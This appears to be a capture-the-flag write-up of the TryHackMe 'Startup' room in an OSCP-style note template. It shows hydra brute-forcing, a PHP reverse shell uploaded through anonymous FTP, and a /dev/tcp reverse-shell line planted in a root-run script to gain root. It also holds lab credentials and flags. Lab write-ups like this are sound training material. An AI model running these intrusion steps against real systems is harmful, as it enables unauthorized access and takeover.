Starup

ip=10.10.203.26
workspace=/mnt/Cyber_Security_Training/TryHackme/Rooms/Startup

c4nt g3t3n0ughsp1c3

Enumeration

TCP

```
┌──(kali㉿kali)-[/mnt/Cyber_Security_Training/TryHackme/Rooms/Startup]
└─$ sudo nmap -sV -sC -O -oA nmap/initial $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 23:01 EST
Nmap scan report for 10.10.203.26
Host is up (0.080s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.6.2.104
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see
https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=3/8%OT=21%CT=1%CU=44775%PV=Y%DS=4%DC=I%G=Y%TM=65EBD
OS:F32%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%II=I%TS=8)SEQ(SP
OS:=104%GCD=1%ISR=108%TI=Z%II=I%TS=8)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=I%TS=
OS:8)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M509ST11NW7%O2=M50
OS:9ST11NW7%O3=M509NNT11NW7%O4=M509ST11NW7%O5=M509ST11NW7%O6=M509ST11)WIN(W
```

```
OS:1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%
OS:O=M509NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=
OS:N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A
OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%D
OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL
OS:=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.23 seconds
```

21 FTP:
Machine allows anonymous login.
-downloaded two files important.jpg and notice.txt
-notice.txt contains possible username “Maya”
-important.jpg not initially interesting

```
$ exiftool important.jpg
ExifTool Version Number         : 12.67
File Name                       : important.jpg
Directory                       : .
File Size                       : 252 kB
File Modification Date/Time     : 2020:11:11 23:02:43-05:00
File Access Date/Time           : 2024:03:08 23:04:39-05:00
File Inode Change Date/Time     : 2024:03:08 23:04:40-05:00
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 735
Image Height                    : 458
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Significant Bits                : 8 8 8 8
Image Size                      : 735x458
Megapixels                      : 0.337
```

attempting FTP bruteforce with user “maya”

```
hydra -l Maya -P /usr/share/wordlists/rockyou.txt ftp://10.10.203.26 -V
```

22 SSH:
Attempting bruteforce with username Maya
-$ hydra -l Maya -P /usr/share/wordlists/fasttrack.txt 10.10.203.26 ssh -t 4 -v
-no valid password found

Attempting again with larger wordlist
-hydra -l Maya -P /usr/share/wordlists/rockyou.txt 10.10.203.26 ssh -t 4 -v

80 HTTP:
Initial page is not interesting beyond a mailto link that could possibly be broken
Please excuse us as we develop our site. We want to make it the most stylish and convienient way to buy peppers. Plus, we need a web developer. BTW if you're a web developer, contact us. Otherwise, don't you worry. We'll be online shortly!

UDP

Web Services

Nikto

Dirb\DirBuster

$ dirb http://10.10.203.26 /usr/share/wordlists/dirb/common.txt

---
DIRB v2.22
By The Dark Raver

START_TIME: Fri Mar 8 23:03:35 2024
URL_BASE: http://10.10.203.26/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.203.26/ ----
==> DIRECTORY: http://10.10.203.26/files/

+ http://10.10.203.26/index.html (CODE:200|SIZE:
808)

+ http://10.10.203.26/server-status (CODE:403|SIZE:
277)

---- Entering directory: http://10.10.203.26/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

END_TIME: Fri Mar 8 23:09:46 2024
DOWNLOADED: 4612 - FOUND: 2

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited: FTP
Vulnerability Type: Anonymous FTP
Exploit POC:
Description:

Discovery of Vulnerability

Discovered anonyous FTP allowed on server.
I was able to upload files to /ftp directory
Uploaded reverse shell

This gets you a foothold as the www-data user

Inside of /etc there is a directory named Incidents

This directory contains a pcap
Moved pcap to /files/ftp directory and downloaded
Reviewing pcap file and there is an attempted login with credentials c4ntg3t3n0ughsp1c3
This password can be used to login to the account of “lennie”

Exploit Code Used

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
nc -lvnp 42069
navigate to 10.10.203.26/files/ftp/php-reverse-shell.php

```
—$ nc -lvnp 42069
listening on [any] 42069 ...
connect to [10.6.2.104] from (UNKNOWN) [10.10.203.26] 52478
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux
 05:31:20 up  1:38,  0 users,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

stabalize shell with the following

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@startup:/home$
```

Proof\Local.txt File

Discovered another user named “lennie”

```
www-data@startup:/home$ ls -al
ls -al
total 12
drwxr-xr-x  3 root   root   4096 Nov 12  2020 .
drwxr-xr-x 25 root   root   4096 Mar  9 03:53 ..
drwx------  4 lennie lennie 4096 Nov 12  2020 lennie
```

```
$ whoami
lennie
$
$
$ cd /home/lennie
$ ls
Documents  scripts  user.txt
$ cat user.txt
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
$ which python
/usr/bin/python
$
$
$ python -c 'import pty; pty.spawn("/bin/bash")'
lennie@startup:~$ whoami
lennie
lennie@startup:~$
```

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

Discovered scripts directory in lennies home directory /home/lennie/scripts
one of these scripts .planner.sh is not only owned by root but it calls a script in /etc named print.sh
this script /etc/print.sh is owned by lennie

Exploit Code Used

edit /etc/print.sh to contain a reverse shell
lennie@startup:~/scripts$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
/bin/sh -i >& /dev/tcp/10.6.2.104/6969 0>&1

create listener on specified port and wait for root to run the planner.sh script which gives a reverse rootshell

```
$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.6.2.104] from (UNKNOWN) [10.10.139.225] 43756
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
```

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

```
www-data@startup:/etc$ less passwd
less passwd
WARNING: terminal is not fully functional
passwd  (press RETURN)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

```
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/
nologi
n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/
fal
se
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/
bin/
false
passwd
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ftp:x:112:118:ftp daemon,,,:/srv/ftp:/bin/false
lennie:x:1002:1002::/home/lennie:
ftpsecure:x:1003:1003::/home/ftpsecure:
```

lennie - c4ntg3t3n0ughsp1c3

Proof\Flags\Other

Possible Usernames:
Maya

Username:
lennie

Found first flag recipe.txt

```
www-data@startup:/var/www$ cd /
cd /
www-data@startup:/$ pwd
pwd
/
www-data@startup:/$ ls
ls
bin   home            lib         mnt         root  srv  vagrant
boot  incidents       lib64       opt         run   sys  var
dev   initrd.img      lost+found  proc        sbin  tmp  vmlinuz
etc   initrd.img.old  media       recipe.txt  snap  usr  vmlinuz.old
www-data@startup:/$ less recipe.txt
less recipe.txt
WARNING: terminal is not fully functional
recipe.txt  (press RETURN)cat recipe.txt
```

```
Someone asked what our main ingredient to our spice soup is today. I figured I
c
an't keep it a secret forever and told him it was love.
(END)...skipping...
Someone asked what our main ingredient to our spice soup is today. I figured I
c
an't keep it a secret forever and told him it was love.
~
```

user flag:
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

root flag:
THM{f963aaa6a430f210222158ae15c3d76d}

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☐ dirb
- ☐ dirbuster

- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the softward

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book